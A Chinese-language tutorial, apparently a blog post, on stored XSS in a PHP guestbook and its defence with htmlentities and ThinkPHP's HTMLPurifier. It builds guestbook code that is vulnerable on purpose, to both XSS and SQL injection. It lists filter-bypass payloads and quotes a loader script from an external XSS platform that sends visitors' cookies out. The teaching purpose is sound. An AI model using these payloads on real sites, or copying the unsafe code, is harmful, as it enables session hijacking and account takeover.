PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!)

XSS攻击原理及防护

简介

XSS(Cross Site Scripting, 跨站脚本攻击), 在 Web攻击中比较常见的方式, 通过此攻击可以控制用户终端做一系列的恶意操作, 如 可以盗取, 篡改, 添加用户的数据或诱导到钓鱼网站等。

攻击原理

比较常见的方式是利用未做好过滤的参数传入一些脚本语言代码块通常是 JavaScript, PHP, Java, ASP, Flash, ActiveX等等, 直接传入到页面或直接存入数据库。通过用户浏览器阅读此数据时可以修改当前页面的一些信息或窃取会话和 Cookie等, 这样完成一次 XSS攻击。

例子

http://test.com/list?id=<script>alert('Javascript代码块')</script>

http://test.com/list?id=<strong οnclick='alert("惊喜不断")'>诱惑点击语句</strong>

http://test.com/list?id=<img src='./logo.jpg' οnclick='location.href="https://cyy.com/qq000";'/>

以上例子只是大概描述了方式, 在实际攻击时代码不会如此简单

一次存储型XSS的攻防实战

使用xss平台,我用这段代码来测试

<script>alert(1)</script>

写入一段平台生成的xss脚本:

<sCrIpt srC=//xs.sb/Zalc></sCRipT>

当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。

你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。

对于存储型xss漏洞的表现形式,比较经典的是留言板。我们自己模拟一个留言板进行测试。

首先是前端展示的页面board.php

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>留言板</title>
    <script src="https://cdn.staticfile.org/jquery/3.5.1/jquery.js"></script>
    <script type="text/javascript">
        $(function(){
            $("#sub").on("click", function(){
    
                var formData = new FormData();
                var nickname=$("input[name=nickname]").val();
                var content=$("textarea[name=content]").val();
                var email=$("input[name=email]").val();
                formData.append("nickname",nickname);
                formData.append("content",content);
                formData.append("email",email);
                if(nickname=="" || content=="" || email=="")
                    alert("不能为空!");
                else{
                    $.ajax({
                        //async:false,//false为同步请求,当前请求未完成可能会锁死浏览器
                        url:"add.php",
                        type:"POST",
                        processData:false,
                        contentType:false,
                        data:formData,
                        dataType:"text",
                        success:function(data){
                            console.log(data);
                            alert("success");
                            location.reload(true);//刷新页面
                        }
                    });
                }
            });
        });
    </script>
    <style type="text/css">
        .d{
            margin-top: 2%;
            margin-left: 5%;
            margin-right: 5%;
            background-color: rgb(218,244,205);
        }
        a{
            text-decoration: none;
        }
    </style>
</head>
<body>
    <?php 
        $con = @mysqli_connect('localhost','root','123456','test') or die('连接数据库失败');
        mysqli_query('set names utf8');
        $sql = "select * from message order by `floor` ASC";
        $res = mysqli_query($con,$sql);
        while($row = mysqli_fetch_array($res)){
            echo '<div class="d" style="margin-top:1%"><div style="background-color: rgb(55,162,113);"></div></div>';
            echo '<div class="d" style="margin-top:1%"><div style="background-color: rgb(55,162,113);"><p style="text-align: right;">'.$row[0].'楼</p></div><p>'.$row['content'].'</p><a href="">'.'<pre style="text-align: right;">留言者:'.$row['nickname'].'</a><a href="">'.'    留言时间:'.date('Y-m-d H:i:s',$row['time']).'</a></pre></div>';
        }
        mysqli_close($con);
    ?>


    <div class="d">
        <form>
            <input type="text" name="nickname" placeholder="留言者昵称"><br />
            <input type="text" name="email" placeholder="留言者邮箱"><br />
            <textarea name="content" rows="5" cols="50" placeholder="留言内容"></textarea><br />
            <input type="button" name="button" id="sub" value="提交">
        </form>
    </div>
</body>
</html>

后端存储数据的页面add.php

<?php

//接收数据
$nickname = @$_POST['nickname'];
$email = @$_POST['email'];
$content = @$_POST['content'];
$time = @time();

$con = @mysqli_connect('localhost','root','123456','test') or die('连接数据库失败');
mysqli_query('set names utf8');
$sql = "select max(floor) as max from message";
$res = mysqli_query($con,$sql);
$floor = mysqli_fetch_array($res)['max']+1;
$sql = "insert into message(floor,nickname,email,content,time) values($floor,'$nickname','$email','$content','$time')";
mysqli_query($con,$sql);
mysqli_close($con);

可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。

所以,只要我们这样输入:

提交之后,系统会自动刷新页面出现弹框:1

点击确定后,你会发现留言内容和留言者的部分都为空。

这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。

那么开发者该如何防御呢?

对关键字script进行过滤

作为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么我们只需要进行script过滤即可。

$nickname = str_replace("script", "", @$_POST['nickname']);//昵称

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<sCrIPt>alert(1)</ScripT>

因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

成功弹框!

使用str_ireplace()函数进行不区分大小写地过滤script关键字

作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

后端代码修正如下:

$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img src=x onerror=alert(1)>

过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#49;&#41;>a</a>

当点击页面上的超链接时,会弹框。

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“&#106;”或“&#x6a; ”

上述代码解码之后如下:

<a href=javascript:alert(1)>a</a>

能不能让所有进入这个页面的人都弹框?

当然可以了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;

&#41;>

这种写法,同样既没有script关键字,又没有alert关键字。

过滤特殊字符

php给我们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST['nickname']);//昵称

htmlentities()函数的作用是把字符转换为 HTML 实体。

黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

总结

站在开发者角度来讲,用一个htmlentities()函数基本可以做到防御

ThinkPHP防止XSS攻击的方法

PHP 基于ThinkPHP,利用第三方插件htmlpurifier 防XSS跨站脚本攻击。可以只过滤指定标签(过滤富文本编辑器中指定标签)

去github上找到/htmlpurifier,推荐使用composer安装

$ composer require ezyang/htmlpurifier

可是我在安装的时候,一直报错

还没找到解决方案,就先用标准安装方式了,下载好文件压缩包

解压得到主要文件目录library,重命名为htmlpurifier,复制到thinkphp项目的Vendor目录中

在application/common.php公共函数目录中,添加如下代码:

//防止xss攻击的特殊方法
function fanXSS($string) {
    require_once '../vendor/htmlpurifier/HTMLPurifier.auto.php'; //根据实际目录路径进行修改
    // 生成配置对象
    $cfg = HTMLPurifier_Config::createDefault();
    // 以下就是配置:
    $cfg->set('Core.Encoding', 'UTF-8');
    // 设置允许使用的HTML标签
    $cfg->set('HTML.Allowed', 'div,b,strong,i,em,a[href|title],ul,ol,li,br,span[style],img[width|height|alt|src]');
    // 设置允许出现的CSS样式属性
    $cfg->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align');
    // 设置a标签上是否允许使用target="_blank"
    $cfg->set('HTML.TargetBlank', TRUE);
    // 使用配置生成过滤用的对象
    $obj = new HTMLPurifier($cfg);
    // 过滤字符串
    return $obj->purify($string);
}

HTMLPurifier的配置属性可以通过其网站查询到:http://htmlpurifier.org/live/configdoc/plain.html

1、配置属性选择

HTMLPurifier的配置文档主要是两级分类,大类分Attr(属性)、HTML(html标签)、AutoFormat(自动格式)、CSS(css配置)、Output(输出配置)……小类选择通过大类名称加.加小类名称可以完成。

比如我要配置允许的html标签,比如说p标签和a标签,可以如下配置

$cfg->set('HTML.Allowed', 'p,a');

2、属性值的选择

在官方文档中,点击一个属性后,可以看到对这个属性的解释,会告诉你这个属性的值的类型(Type)是String、Int、Array、Boolen……

接着还会告诉你这个属性的默认值,比如是NULL还是true还是false等。这个值的格式就跟PHP的格式一样的。

3、白名单过滤机制

HTMLPurifier使用了白名单过滤机制,只有被设置允许的才会通过检验。

4、基本过滤事例

a、过滤掉文本中的所有html标签

$cfg->set('HTML.Allowed', '');

b、保留超链接标签a及其href链接地址属性,并自动添加target属性值为’_blank’

$cfg->set('HTML.Allowed', 'a[href]');
$cfg->set('HTML.TargetBlank', true);

c、自动完成段落代码并清除掉无用的空标签

// 让文本自动添加段落标签,前提是必须允许P标签的使用
$cfg->set('HTML.Allowed', 'p');
$cfg->set('AutoFormat.AutoParagraph', true);
// 清除空标签
$cfg->set('AutoFormat.RemoveEmpty', true);

然后在 application目录下的config.php 配置文件

把这个过滤方法改成那个方法名即可

'default_filter'         => 'fanXSS',

结合框架的使用 和插件的使用可以使用这个 上面的代码可以可以直接使用的

也可以只针对部分字段进行过滤

设置全局过滤方法为封装的htmlspecialchars函数:

修改application/config.php

'default_filter' => 'htmlspecialchars',

富文本编辑器内容,使用过滤的思想进行处理。

比如商品描述字段,处理如下:

//商品添加或修改功能中
$params = input();
//单独处理商品描述字段 goods_introduce
$params['goods_desc'] = input('goods_desc', '', 'fanXSS');

PHP的防御XSS注入的解决方案总结

一:PHP直接输出html的,可以采用以下的方法进行过滤:

1.htmlspecialchars函数

2.htmlentities函数

3.HTMLPurifier.auto.php插件

4.RemoveXss函数(百度可以查到)

二:PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:

1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容

2.必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤

三:其它的通用的补充性防御手段

1.在输出html时,加上Content Security Policy的Http Header

(作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)

(缺陷:IE或低版本的浏览器可能不支持)

2.在设置Cookie时,加上HttpOnly参数

(作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)

(缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全)

3.在开发API时,检验请求的Referer参数

(作用:可以在一定程度上防止CSRF攻击)

(缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)

欢迎QQ交流谈论:965794175

原文地址:https://www.cnblogs.com/chenyingying0/p/12973451.html